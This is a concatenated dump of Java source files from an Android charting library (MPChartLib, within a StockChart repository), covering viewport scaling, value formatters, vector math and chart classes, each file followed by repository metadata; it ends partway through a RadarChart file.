* @param entry the entry the value belongs to - in e.g. BarChart, this is of class BarEntry
* @param dataSetIndex the index of the DataSet the entry in focus belongs to
* @param viewPortHandler provides information about the current chart state (scale, translation, ...)
* @return the formatted label ready for being drawn
*/
String getFormattedValue(float value, Entry entry, int dataSetIndex, ViewPortHandler viewPortHandler);
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/formatter/ValueFormatter.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 263 |
```java
package com.github.mikephil.charting.utils;
import android.graphics.Matrix;
import android.graphics.PointF;
import android.graphics.RectF;
import android.view.View;
/**
* Class that contains information about the charts current viewport settings, including offsets, scale & translation levels, ...
*
* @author Philipp Jahoda
*/
public class ViewPortHandler {
/**
* matrix used for touch events
*/
protected final Matrix mMatrixTouch = new Matrix();
/**
* this rectangle defines the area in which graph values can be drawn
*/
protected RectF mContentRect = new RectF();
protected float mChartWidth = 0f;
protected float mChartHeight = 0f;
/**
* minimum scale value on the y-axis
*/
private float mMinScaleY = 1f;
/**
* maximum scale value on the y-axis
*/
private float mMaxScaleY = Float.MAX_VALUE;
/**
* minimum scale value on the x-axis
*/
private float mMinScaleX = 1f;
/**
* maximum scale value on the x-axis
*/
private float mMaxScaleX = Float.MAX_VALUE;
/**
* contains the current scale factor of the x-axis
*/
private float mScaleX = 1f;
/**
* contains the current scale factor of the y-axis
*/
private float mScaleY = 1f;
/**
* current translation (drag distance) on the x-axis
*/
private float mTransX = 0f;
/**
* current translation (drag distance) on the y-axis
*/
private float mTransY = 0f;
/**
* offset that allows the chart to be dragged over its bounds on the x-axis
*/
private float mTransOffsetX = 0f;
/**
* offset that allows the chart to be dragged over its bounds on the x-axis
*/
private float mTransOffsetY = 0f;
/**
* Constructor - don't forget calling setChartDimens(...)
*/
public ViewPortHandler() {
}
/**
* Sets the width and height of the chart.
*
* @param width
* @param height
*/
public void setChartDimens(float width, float height) {
float offsetLeft = this.offsetLeft();
float offsetTop = this.offsetTop();
float offsetRight = this.offsetRight();
float offsetBottom = this.offsetBottom();
mChartHeight = height;
mChartWidth = width;
restrainViewPort(offsetLeft, offsetTop, offsetRight, offsetBottom);
}
public boolean hasChartDimens() {
return (mChartHeight > 0 && mChartWidth > 0);
}
public void restrainViewPort(float offsetLeft, float offsetTop, float offsetRight,
float offsetBottom) {
mContentRect.set(offsetLeft, offsetTop, mChartWidth - offsetRight, mChartHeight
- offsetBottom);
}
public float offsetLeft() {
return mContentRect.left;
}
public float offsetRight() {
return mChartWidth - mContentRect.right;
}
public float offsetTop() {
return mContentRect.top;
}
public float offsetBottom() {
return mChartHeight - mContentRect.bottom;
}
public float contentTop() {
return mContentRect.top;
}
public float contentLeft() {
return mContentRect.left;
}
public float contentRight() {
return mContentRect.right;
}
public float contentBottom() {
return mContentRect.bottom;
}
public float contentWidth() {
return mContentRect.width();
}
public float contentHeight() {
return mContentRect.height();
}
public RectF getContentRect() {
return mContentRect;
}
public PointF getContentCenter() {
return new PointF(mContentRect.centerX(), mContentRect.centerY());
}
public float getChartHeight() {
return mChartHeight;
}
public float getChartWidth() {
return mChartWidth;
}
/**
* ################ ################ ################ ################
*/
/** CODE BELOW THIS RELATED TO SCALING AND GESTURES */
/**
* Zooms in by 1.4f, x and y are the coordinates (in pixels) of the zoom
* center.
*
* @param x
* @param y
*/
public Matrix zoomIn(float x, float y) {
Matrix save = new Matrix();
save.set(mMatrixTouch);
save.postScale(1.4f, 1.4f, x, y);
return save;
}
/**
* Zooms out by 0.7f, x and y are the coordinates (in pixels) of the zoom
* center.
*/
public Matrix zoomOut(float x, float y) {
Matrix save = new Matrix();
save.set(mMatrixTouch);
save.postScale(0.7f, 0.7f, x, y);
return save;
}
/**
* Post-scales by the specified scale factors.
*
* @param scaleX
* @param scaleY
* @return
*/
public Matrix zoom(float scaleX, float scaleY) {
Matrix save = new Matrix();
save.set(mMatrixTouch);
save.postScale(scaleX, scaleY);
return save;
}
/**
* Post-scales by the specified scale factors. x and y is pivot.
*
* @param scaleX
* @param scaleY
* @param x
* @param y
* @return
*/
public Matrix zoom(float scaleX, float scaleY, float x, float y) {
Matrix save = new Matrix();
save.set(mMatrixTouch);
save.postScale(scaleX, scaleY, x, y);
return save;
}
/**
* Sets the scale factor to the specified values.
*
* @param scaleX
* @param scaleY
* @return
*/
public Matrix setZoom(float scaleX, float scaleY) {
Matrix save = new Matrix();
save.set(mMatrixTouch);
save.setScale(scaleX, scaleY);
return save;
}
/**
* Sets the scale factor to the specified values. x and y is pivot.
*
* @param scaleX
* @param scaleY
* @param x
* @param y
* @return
*/
public Matrix setZoom(float scaleX, float scaleY, float x, float y) {
Matrix save = new Matrix();
save.set(mMatrixTouch);
save.setScale(scaleX, scaleY, x, y);
return save;
}
/**
* Resets all zooming and dragging and makes the chart fit exactly it's
* bounds.
*/
public Matrix fitScreen() {
mMinScaleX = 1f;
mMinScaleY = 1f;
Matrix save = new Matrix();
save.set(mMatrixTouch);
float[] vals = new float[9];
save.getValues(vals);
// reset all translations and scaling
vals[Matrix.MTRANS_X] = 0f;
vals[Matrix.MTRANS_Y] = 0f;
vals[Matrix.MSCALE_X] = 1f;
vals[Matrix.MSCALE_Y] = 1f;
save.setValues(vals);
return save;
}
/**
* Post-translates to the specified points.
*
* @param transformedPts
* @return
*/
public Matrix translate(final float[] transformedPts) {
Matrix save = new Matrix();
save.set(mMatrixTouch);
final float x = transformedPts[0] - offsetLeft();
final float y = transformedPts[1] - offsetTop();
save.postTranslate(-x, -y);
return save;
}
/**
* Centers the viewport around the specified position (x-index and y-value)
* in the chart. Centering the viewport outside the bounds of the chart is
* not possible. Makes most sense in combination with the
* setScaleMinima(...) method.
*
* @param transformedPts the position to center view viewport to
* @param view
* @return save
*/
public void centerViewPort(final float[] transformedPts, final View view) {
Matrix save = new Matrix();
save.set(mMatrixTouch);
final float x = transformedPts[0] - offsetLeft();
final float y = transformedPts[1] - offsetTop();
save.postTranslate(-x, -y);
refresh(save, view, true);
}
/**
* buffer for storing the 9 matrix values of a 3x3 matrix
*/
protected final float[] matrixBuffer = new float[9];
/**
* call this method to refresh the graph with a given matrix
*
* @param newMatrix
* @return
*/
public Matrix refresh(Matrix newMatrix, View chart, boolean invalidate) {
mMatrixTouch.set(newMatrix);
// make sure scale and translation are within their bounds
limitTransAndScale(mMatrixTouch, mContentRect);
if (invalidate)
chart.invalidate();
newMatrix.set(mMatrixTouch);
return newMatrix;
}
/**
* limits the maximum scale and X translation of the given matrix
*
* @param matrix
*/
public void limitTransAndScale(Matrix matrix, RectF content) {
matrix.getValues(matrixBuffer);
float curTransX = matrixBuffer[Matrix.MTRANS_X];
float curScaleX = matrixBuffer[Matrix.MSCALE_X];
float curTransY = matrixBuffer[Matrix.MTRANS_Y];
float curScaleY = matrixBuffer[Matrix.MSCALE_Y];
// min scale-x is 1f
mScaleX = Math.min(Math.max(mMinScaleX, curScaleX), mMaxScaleX);
// min scale-y is 1f
mScaleY = Math.min(Math.max(mMinScaleY, curScaleY), mMaxScaleY);
float width = 0f;
float height = 0f;
if (content != null) {
width = content.width();
height = content.height();
}
float maxTransX = -width * (mScaleX - 1f);
mTransX = Math.min(Math.max(curTransX, maxTransX - mTransOffsetX), mTransOffsetX);
float maxTransY = height * (mScaleY - 1f);
mTransY = Math.max(Math.min(curTransY, maxTransY + mTransOffsetY), -mTransOffsetY);
matrixBuffer[Matrix.MTRANS_X] = mTransX;
matrixBuffer[Matrix.MSCALE_X] = mScaleX;
matrixBuffer[Matrix.MTRANS_Y] = mTransY;
matrixBuffer[Matrix.MSCALE_Y] = mScaleY;
matrix.setValues(matrixBuffer);
}
/**
* Sets the minimum scale factor for the x-axis
*
* @param xScale
*/
public void setMinimumScaleX(float xScale) {
if (xScale < 1f)
xScale = 1f;
mMinScaleX = xScale;
limitTransAndScale(mMatrixTouch, mContentRect);
}
/**
* Sets the maximum scale factor for the x-axis
*
* @param xScale
*/
public void setMaximumScaleX(float xScale) {
if (xScale == 0.f)
xScale = Float.MAX_VALUE;
mMaxScaleX = xScale;
limitTransAndScale(mMatrixTouch, mContentRect);
}
/**
* Sets the minimum and maximum scale factors for the x-axis
*
* @param minScaleX
* @param maxScaleX
*/
public void setMinMaxScaleX(float minScaleX, float maxScaleX) {
if (minScaleX < 1f)
minScaleX = 1f;
if (maxScaleX == 0.f)
maxScaleX = Float.MAX_VALUE;
mMinScaleX = minScaleX;
mMaxScaleX = maxScaleX;
limitTransAndScale(mMatrixTouch, mContentRect);
}
/**
* Sets the minimum scale factor for the y-axis
*
* @param yScale
*/
public void setMinimumScaleY(float yScale) {
if (yScale < 1f)
yScale = 1f;
mMinScaleY = yScale;
limitTransAndScale(mMatrixTouch, mContentRect);
}
/**
* Sets the maximum scale factor for the y-axis
*
* @param yScale
*/
public void setMaximumScaleY(float yScale) {
if (yScale == 0.f)
yScale = Float.MAX_VALUE;
mMaxScaleY = yScale;
limitTransAndScale(mMatrixTouch, mContentRect);
}
/**
* Returns the charts-touch matrix used for translation and scale on touch.
*
* @return
*/
public Matrix getMatrixTouch() {
return mMatrixTouch;
}
/**
* ################ ################ ################ ################
*/
/**
* BELOW METHODS FOR BOUNDS CHECK
*/
public boolean isInBoundsX(float x) {
return (isInBoundsLeft(x) && isInBoundsRight(x));
}
public boolean isInBoundsY(float y) {
return (isInBoundsTop(y) && isInBoundsBottom(y));
}
public boolean isInBounds(float x, float y) {
return (isInBoundsX(x) && isInBoundsY(y));
}
public boolean isInBoundsLeft(float x) {
return mContentRect.left <= x ? true : false;
}
public boolean isInBoundsRight(float x) {
x = (float) ((int) (x * 100.f)) / 100.f;
return mContentRect.right >= x ? true : false;
}
public boolean isInBoundsTop(float y) {
return mContentRect.top <= y ? true : false;
}
public boolean isInBoundsBottom(float y) {
y = (float) ((int) (y * 100.f)) / 100.f;
return mContentRect.bottom >= y ? true : false;
}
/**
* returns the current x-scale factor
*/
public float getScaleX() {
return mScaleX;
}
/**
* returns the current y-scale factor
*/
public float getScaleY() {
return mScaleY;
}
public float getMinScaleX() {
return mMinScaleX;
}
public float getMaxScaleX() {
return mMaxScaleX;
}
public float getMinScaleY() {
return mMinScaleY;
}
public float getMaxScaleY() {
return mMaxScaleY;
}
/**
* Returns the translation (drag / pan) distance on the x-axis
*
* @return
*/
public float getTransX() {
return mTransX;
}
/**
* Returns the translation (drag / pan) distance on the y-axis
*
* @return
*/
public float getTransY() {
return mTransY;
}
/**
* if the chart is fully zoomed out, return true
*
* @return
*/
public boolean isFullyZoomedOut() {
return (isFullyZoomedOutX() && isFullyZoomedOutY());
}
/**
* Returns true if the chart is fully zoomed out on it's y-axis (vertical).
*
* @return
*/
public boolean isFullyZoomedOutY() {
return !(mScaleY > mMinScaleY || mMinScaleY > 1f);
}
/**
* Returns true if the chart is fully zoomed out on it's x-axis
* (horizontal).
*
* @return
*/
public boolean isFullyZoomedOutX() {
return !(mScaleX > mMinScaleX || mMinScaleX > 1f);
}
/**
* Set an offset in dp that allows the user to drag the chart over it's
* bounds on the x-axis.
*
* @param offset
*/
public void setDragOffsetX(float offset) {
mTransOffsetX = Utils.convertDpToPixel(offset);
}
/**
* Set an offset in dp that allows the user to drag the chart over it's
* bounds on the y-axis.
*
* @param offset
*/
public void setDragOffsetY(float offset) {
mTransOffsetY = Utils.convertDpToPixel(offset);
}
/**
* Returns true if both drag offsets (x and y) are zero or smaller.
*
* @return
*/
public boolean hasNoDragOffset() {
return mTransOffsetX <= 0 && mTransOffsetY <= 0;
}
/**
* Returns true if the chart is not yet fully zoomed out on the x-axis
*
* @return
*/
public boolean canZoomOutMoreX() {
return (mScaleX > mMinScaleX);
}
/**
* Returns true if the chart is not yet fully zoomed in on the x-axis
*
* @return
*/
public boolean canZoomInMoreX() {
return (mScaleX < mMaxScaleX);
}
/**
* Returns true if the chart is not yet fully zoomed out on the y-axis
*
* @return
*/
public boolean canZoomOutMoreY() {
return (mScaleY > mMinScaleY);
}
/**
* Returns true if the chart is not yet fully zoomed in on the y-axis
*
* @return
*/
public boolean canZoomInMoreY() {
return (mScaleY < mMaxScaleY);
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/utils/ViewPortHandler.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 3,914 |
```java
package com.github.mikephil.charting.formatter;
import com.github.mikephil.charting.utils.ViewPortHandler;
/**
* Created by Philipp Jahoda on 14/09/15.
* An interface for providing custom x-axis Strings.
*
* @author Philipp Jahoda
*/
public interface XAxisValueFormatter {
/**
* Returns the customized label that is drawn on the x-axis.
* For performance reasons, avoid excessive calculations
* and memory allocations inside this method.
*
* @param original the original x-axis label to be drawn
* @param index the x-index that is currently being drawn
* @param viewPortHandler provides information about the current chart state (scale, translation, ...)
* @return
*/
String getXValue(String original, int index, ViewPortHandler viewPortHandler);
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/formatter/XAxisValueFormatter.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 178 |
```java
package com.github.mikephil.charting.formatter;
import com.github.mikephil.charting.data.LineData;
import com.github.mikephil.charting.interfaces.dataprovider.LineDataProvider;
import com.github.mikephil.charting.interfaces.datasets.ILineDataSet;
/**
* Default formatter that calculates the position of the filled line.
*
* @author Philipp Jahoda
*/
public class DefaultFillFormatter implements FillFormatter {
@Override
public float getFillLinePosition(ILineDataSet dataSet, LineDataProvider dataProvider) {
float fillMin;
float chartMaxY = dataProvider.getYChartMax();
float chartMinY = dataProvider.getYChartMin();
LineData data = dataProvider.getLineData();
if (dataSet.getYMax() > 0 && dataSet.getYMin() < 0) {
fillMin = 0f;
} else {
float max, min;
if (data.getYMax() > 0)
max = 0f;
else
max = chartMaxY;
if (data.getYMin() < 0)
min = 0f;
else
min = chartMinY;
fillMin = dataSet.getYMin() >= 0 ? min : max;
}
return fillMin;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/formatter/DefaultFillFormatter.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 265 |
```java
package com.github.mikephil.charting.formatter;
import com.github.mikephil.charting.interfaces.datasets.ILineDataSet;
import com.github.mikephil.charting.interfaces.dataprovider.LineDataProvider;
/**
* Interface for providing a custom logic to where the filling line of a LineDataSet
* should end. This of course only works if setFillEnabled(...) is set to true.
*
* @author Philipp Jahoda
*/
public interface FillFormatter {
/**
* Returns the vertical (y-axis) position where the filled-line of the
* LineDataSet should end.
*
* @param dataSet the ILineDataSet that is currently drawn
* @param dataProvider
* @return
*/
float getFillLinePosition(ILineDataSet dataSet, LineDataProvider dataProvider);
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/formatter/FillFormatter.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 168 |
```java
package com.github.mikephil.charting.formatter;
import com.github.mikephil.charting.components.YAxis;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.utils.ViewPortHandler;
import java.text.DecimalFormat;
/**
* Predefined value-formatter that formats large numbers in a pretty way.
* Outputs: 856 = 856; 1000 = 1k; 5821 = 5.8k; 10500 = 10k; 101800 = 102k;
* 2000000 = 2m; 7800000 = 7.8m; 92150000 = 92m; 123200000 = 123m; 9999999 =
* 10m; 1000000000 = 1b; Special thanks to Roman Gromov
* (path_to_url for this piece of code.
*
* @author Philipp Jahoda
* @author Oleksandr Tyshkovets <olexandr.tyshkovets@gmail.com>
*/
public class LargeValueFormatter implements ValueFormatter, YAxisValueFormatter {
private static String[] SUFFIX = new String[]{
"", "k", "m", "b", "t"
};
private static final int MAX_LENGTH = 4;
private DecimalFormat mFormat;
private String mText = "";
public LargeValueFormatter() {
mFormat = new DecimalFormat("###E0");
}
/**
* Creates a formatter that appends a specified text to the result string
*
* @param appendix a text that will be appended
*/
public LargeValueFormatter(String appendix) {
this();
mText = appendix;
}
// ValueFormatter
@Override
public String getFormattedValue(float value, Entry entry, int dataSetIndex, ViewPortHandler viewPortHandler) {
return makePretty(value) + mText;
}
// YAxisValueFormatter
@Override
public String getFormattedValue(float value, YAxis yAxis) {
return makePretty(value) + mText;
}
/**
* Set an appendix text to be added at the end of the formatted value.
*
* @param appendix
*/
public void setAppendix(String appendix) {
this.mText = appendix;
}
/**
* Set custom suffix to be appended after the values.
* Default suffix: ["", "k", "m", "b", "t"]
*
* @param suff new suffix
*/
public void setSuffix(String[] suff) {
if (suff.length == 5) {
SUFFIX = suff;
}
}
/**
* Formats each number properly. Special thanks to Roman Gromov
* (path_to_url for this piece of code.
*/
private String makePretty(double number) {
String r = mFormat.format(number);
r = r.replaceAll("E[0-9]", SUFFIX[Character.getNumericValue(r.charAt(r.length() - 1)) / 3]);
while (r.length() > MAX_LENGTH || r.matches("[0-9]+\\.[a-z]")) {
r = r.substring(0, r.length() - 2) + r.substring(r.length() - 1);
}
return r;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/formatter/LargeValueFormatter.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 707 |
```java
package com.github.mikephil.charting.formatter;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.utils.ViewPortHandler;
import java.text.DecimalFormat;
/**
* Default formatter used for formatting values inside the chart. Uses a DecimalFormat with
* pre-calculated number of digits (depending on max and min value).
*
* @author Philipp Jahoda
*/
public class DefaultValueFormatter implements ValueFormatter {
/** decimalformat for formatting */
private DecimalFormat mFormat;
/**
* Constructor that specifies to how many digits the value should be
* formatted.
*
* @param digits
*/
public DefaultValueFormatter(int digits) {
StringBuilder b = new StringBuilder();
for (int i = 0; i < digits; i++) {
if (i == 0)
b.append(".");
b.append("0");
}
mFormat = new DecimalFormat("###,###,###,##0" + b.toString());
}
@Override
public String getFormattedValue(float value, Entry entry, int dataSetIndex, ViewPortHandler viewPortHandler) {
// put more logic here ...
// avoid memory allocations here (for performance reasons)
return mFormat.format(value);
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/formatter/DefaultValueFormatter.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 265 |
```java
package com.github.mikephil.charting.formatter;
import com.github.mikephil.charting.data.BarEntry;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.utils.ViewPortHandler;
import java.text.DecimalFormat;
/**
* Created by Philipp Jahoda on 28/01/16.
* <p/>
* A formatter specifically for stacked BarChart that allows to specify whether the all stack values
* or just the top value should be drawn.
*/
public class StackedValueFormatter implements ValueFormatter {
/**
* if true, all stack values of the stacked bar entry are drawn, else only top
*/
private boolean mDrawWholeStack;
/**
* a string that should be appended behind the value
*/
private String mAppendix;
private DecimalFormat mFormat;
/**
* Constructor.
*
* @param drawWholeStack if true, all stack values of the stacked bar entry are drawn, else only top
* @param appendix a string that should be appended behind the value
* @param decimals the number of decimal digits to use
*/
public StackedValueFormatter(boolean drawWholeStack, String appendix, int decimals) {
this.mDrawWholeStack = drawWholeStack;
this.mAppendix = appendix;
StringBuilder b = new StringBuilder();
for (int i = 0; i < decimals; i++) {
if (i == 0)
b.append(".");
b.append("0");
}
this.mFormat = new DecimalFormat("###,###,###,##0" + b.toString());
}
@Override
public String getFormattedValue(float value, Entry entry, int dataSetIndex, ViewPortHandler viewPortHandler) {
if (!mDrawWholeStack && entry instanceof BarEntry) {
BarEntry barEntry = (BarEntry) entry;
float[] vals = barEntry.getVals();
if (vals != null) {
// find out if we are on top of the stack
if (vals[vals.length - 1] == value) {
// return the "sum" across all stack values
return mFormat.format(barEntry.getVal()) + mAppendix;
} else {
return ""; // return empty
}
}
}
// return the "proposed" value
return mFormat.format(value) + mAppendix;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/formatter/StackedValueFormatter.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 510 |
```java
package com.github.mikephil.charting.matrix;
/**
* Simple 3D vector class. Handles basic vector math for 3D vectors.
*/
public final class Vector3 {
public float x;
public float y;
public float z;
public static final Vector3 ZERO = new Vector3(0, 0, 0);
public static final Vector3 UNIT_X = new Vector3(1, 0, 0);
public static final Vector3 UNIT_Y = new Vector3(0, 1, 0);
public static final Vector3 UNIT_Z = new Vector3(0, 0, 1);
public Vector3() {
}
public Vector3(float[] array)
{
set(array[0], array[1], array[2]);
}
public Vector3(float xValue, float yValue, float zValue) {
set(xValue, yValue, zValue);
}
public Vector3(Vector3 other) {
set(other);
}
public final void add(Vector3 other) {
x += other.x;
y += other.y;
z += other.z;
}
public final void add(float otherX, float otherY, float otherZ) {
x += otherX;
y += otherY;
z += otherZ;
}
public final void subtract(Vector3 other) {
x -= other.x;
y -= other.y;
z -= other.z;
}
public final void subtractMultiple(Vector3 other, float multiplicator)
{
x -= other.x * multiplicator;
y -= other.y * multiplicator;
z -= other.z * multiplicator;
}
public final void multiply(float magnitude) {
x *= magnitude;
y *= magnitude;
z *= magnitude;
}
public final void multiply(Vector3 other) {
x *= other.x;
y *= other.y;
z *= other.z;
}
public final void divide(float magnitude) {
if (magnitude != 0.0f) {
x /= magnitude;
y /= magnitude;
z /= magnitude;
}
}
public final void set(Vector3 other) {
x = other.x;
y = other.y;
z = other.z;
}
public final void set(float xValue, float yValue, float zValue) {
x = xValue;
y = yValue;
z = zValue;
}
public final float dot(Vector3 other) {
return (x * other.x) + (y * other.y) + (z * other.z);
}
public final Vector3 cross(Vector3 other) {
return new Vector3(y * other.z - z * other.y,
z * other.x - x * other.z,
x * other.y - y * other.x);
}
public final float length() {
return (float) Math.sqrt(length2());
}
public final float length2() {
return (x * x) + (y * y) + (z * z);
}
public final float distance2(Vector3 other) {
float dx = x - other.x;
float dy = y - other.y;
float dz = z - other.z;
return (dx * dx) + (dy * dy) + (dz * dz);
}
public final float normalize() {
final float magnitude = length();
// TODO: I'm choosing safety over speed here.
if (magnitude != 0.0f) {
x /= magnitude;
y /= magnitude;
z /= magnitude;
}
return magnitude;
}
public final void zero() {
set(0.0f, 0.0f, 0.0f);
}
public final boolean pointsInSameDirection(Vector3 other) {
return this.dot(other) > 0;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/matrix/Vector3.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 829 |
```java
package com.github.mikephil.charting.charts;
import android.content.Context;
import android.util.AttributeSet;
import com.github.mikephil.charting.data.CandleData;
import com.github.mikephil.charting.interfaces.dataprovider.CandleDataProvider;
import com.github.mikephil.charting.renderer.CandleStickChartRenderer;
/**
* Financial chart type that draws candle-sticks (OHCL chart).
*
* @author Philipp Jahoda
*/
public class CandleStickChart extends BarLineChartBase<CandleData> implements CandleDataProvider {
public CandleStickChart(Context context) {
super(context);
}
public CandleStickChart(Context context, AttributeSet attrs) {
super(context, attrs);
}
public CandleStickChart(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
}
@Override
protected void init() {
super.init();
mRenderer = new CandleStickChartRenderer(this, mAnimator, mViewPortHandler);
mXAxis.mAxisMinimum = -0.5f;
}
@Override
protected void calcMinMax() {
super.calcMinMax();
mXAxis.mAxisMaximum += 0.5f;
mXAxis.mAxisRange = Math.abs(mXAxis.mAxisMaximum - mXAxis.mAxisMinimum);
}
@Override
public CandleData getCandleData() {
return mData;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/charts/CandleStickChart.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 295 |
```java
package com.github.mikephil.charting.charts;
import android.content.Context;
import android.util.AttributeSet;
import com.github.mikephil.charting.data.BarData;
import com.github.mikephil.charting.data.BubbleData;
import com.github.mikephil.charting.data.CandleData;
import com.github.mikephil.charting.data.CombinedData;
import com.github.mikephil.charting.data.LineData;
import com.github.mikephil.charting.data.ScatterData;
import com.github.mikephil.charting.highlight.CombinedHighlighter;
import com.github.mikephil.charting.interfaces.dataprovider.BarDataProvider;
import com.github.mikephil.charting.interfaces.dataprovider.BubbleDataProvider;
import com.github.mikephil.charting.interfaces.dataprovider.CandleDataProvider;
import com.github.mikephil.charting.interfaces.dataprovider.LineDataProvider;
import com.github.mikephil.charting.interfaces.dataprovider.ScatterDataProvider;
import com.github.mikephil.charting.interfaces.datasets.IBubbleDataSet;
import com.github.mikephil.charting.renderer.CombinedChartRenderer;
/**
* This chart class allows the combination of lines, bars, scatter and candle
* data all displayed in one chart area.
*
* @author Philipp Jahoda
*/
public class CombinedChart extends BarLineChartBase<CombinedData> implements LineDataProvider,
BarDataProvider, ScatterDataProvider, CandleDataProvider, BubbleDataProvider {
/**
* flag that enables or disables the highlighting arrow
*/
private boolean mDrawHighlightArrow = false;
/**
* if set to true, all values are drawn above their bars, instead of below
* their top
*/
private boolean mDrawValueAboveBar = true;
/**
* if set to true, a grey area is drawn behind each bar that indicates the
* maximum value
*/
private boolean mDrawBarShadow = false;
protected DrawOrder[] mDrawOrder = new DrawOrder[]{
DrawOrder.BAR, DrawOrder.BUBBLE, DrawOrder.LINE, DrawOrder.CANDLE, DrawOrder.SCATTER
};
/**
* enum that allows to specify the order in which the different data objects
* for the combined-chart are drawn
*/
public enum DrawOrder {
BAR, BUBBLE, LINE, CANDLE, SCATTER
}
public CombinedChart(Context context) {
super(context);
}
public CombinedChart(Context context, AttributeSet attrs) {
super(context, attrs);
}
public CombinedChart(Context context, AttributeSet attrs, int defStyle) {
super(context, attrs, defStyle);
}
@Override
protected void init() {
super.init();
setHighlighter(new CombinedHighlighter(this));
// Old default behaviour
setHighlightFullBarEnabled(true);
// mRenderer = new CombinedChartRenderer(this, mAnimator,
// mViewPortHandler);
}
@Override
protected void calcMinMax() {
super.calcMinMax();
if (getBarData() != null || getCandleData() != null || getBubbleData() != null) {
mXAxis.mAxisMinimum = -0.5f;
mXAxis.mAxisMaximum = mData.getXVals().size() - 0.5f;
if (getBubbleData() != null) {
for (IBubbleDataSet set : getBubbleData().getDataSets()) {
final float xmin = set.getXMin();
final float xmax = set.getXMax();
if (xmin < mXAxis.mAxisMinimum)
mXAxis.mAxisMinimum = xmin;
if (xmax > mXAxis.mAxisMaximum)
mXAxis.mAxisMaximum = xmax;
}
}
}
mXAxis.mAxisRange = Math.abs(mXAxis.mAxisMaximum - mXAxis.mAxisMinimum);
if (mXAxis.mAxisRange == 0.f && getLineData() != null && getLineData().getYValCount() > 0) {
mXAxis.mAxisRange = 1.f;
}
}
@Override
public void setData(CombinedData data) {
mData = null;
mRenderer = null;
super.setData(data);
mRenderer = new CombinedChartRenderer(this, mAnimator, mViewPortHandler);
mRenderer.initBuffers();
}
@Override
public LineData getLineData() {
if (mData == null)
return null;
return mData.getLineData();
}
@Override
public BarData getBarData() {
if (mData == null)
return null;
return mData.getBarData();
}
@Override
public ScatterData getScatterData() {
if (mData == null)
return null;
return mData.getScatterData();
}
@Override
public CandleData getCandleData() {
if (mData == null)
return null;
return mData.getCandleData();
}
@Override
public BubbleData getBubbleData() {
if (mData == null)
return null;
return mData.getBubbleData();
}
@Override
public boolean isDrawBarShadowEnabled() {
return mDrawBarShadow;
}
@Override
public boolean isDrawValueAboveBarEnabled() {
return mDrawValueAboveBar;
}
@Override
public boolean isDrawHighlightArrowEnabled() {
return mDrawHighlightArrow;
}
/**
* set this to true to draw the highlightning arrow
*
* @param enabled
*/
public void setDrawHighlightArrow(boolean enabled) {
mDrawHighlightArrow = enabled;
}
/**
* If set to true, all values are drawn above their bars, instead of below
* their top.
*
* @param enabled
*/
public void setDrawValueAboveBar(boolean enabled) {
mDrawValueAboveBar = enabled;
}
/**
* If set to true, a grey area is drawn behind each bar that indicates the
* maximum value. Enabling his will reduce performance by about 50%.
*
* @param enabled
*/
public void setDrawBarShadow(boolean enabled) {
mDrawBarShadow = enabled;
}
/**
* Returns the currently set draw order.
*
* @return
*/
public DrawOrder[] getDrawOrder() {
return mDrawOrder;
}
/**
* Sets the order in which the provided data objects should be drawn. The
* earlier you place them in the provided array, the further they will be in
* the background. e.g. if you provide new DrawOrer[] { DrawOrder.BAR,
* DrawOrder.LINE }, the bars will be drawn behind the lines.
*
* @param order
*/
public void setDrawOrder(DrawOrder[] order) {
if (order == null || order.length <= 0)
return;
mDrawOrder = order;
}
}
``` | /content/code_sandbox/MPChartLib/src/com/github/mikephil/charting/charts/CombinedChart.java | java | 2016-05-18T03:51:41 | 2024-08-09T09:00:29 | StockChart | AndroidJiang/StockChart | 1,086 | 1,476 |
```java
package com.github.mikephil.charting.charts;
import android.content.Context;
import android.graphics.Canvas;
import android.graphics.Color;
import android.graphics.PointF;
import android.graphics.RectF;
import android.util.AttributeSet;
import com.github.mikephil.charting.components.YAxis;
import com.github.mikephil.charting.components.YAxis.AxisDependency;
import com.github.mikephil.charting.data.Entry;
import com.github.mikephil.charting.data.RadarData;
import com.github.mikephil.charting.highlight.Highlight;
import com.github.mikephil.charting.renderer.RadarChartRenderer;
import com.github.mikephil.charting.renderer.XAxisRendererRadarChart;
import com.github.mikephil.charting.renderer.YAxisRendererRadarChart;
import com.github.mikephil.charting.utils.Utils;
/**
* Implementation of the RadarChart, a "spidernet"-like chart. It works best
* when displaying 5-10 entries per DataSet.
*
* @author Philipp Jahoda
*/
public class RadarChart extends PieRadarChartBase<RadarData> {
/**
* width of the main web lines
*/
private float mWebLineWidth = 2.5f;
/**
* width of the inner web lines
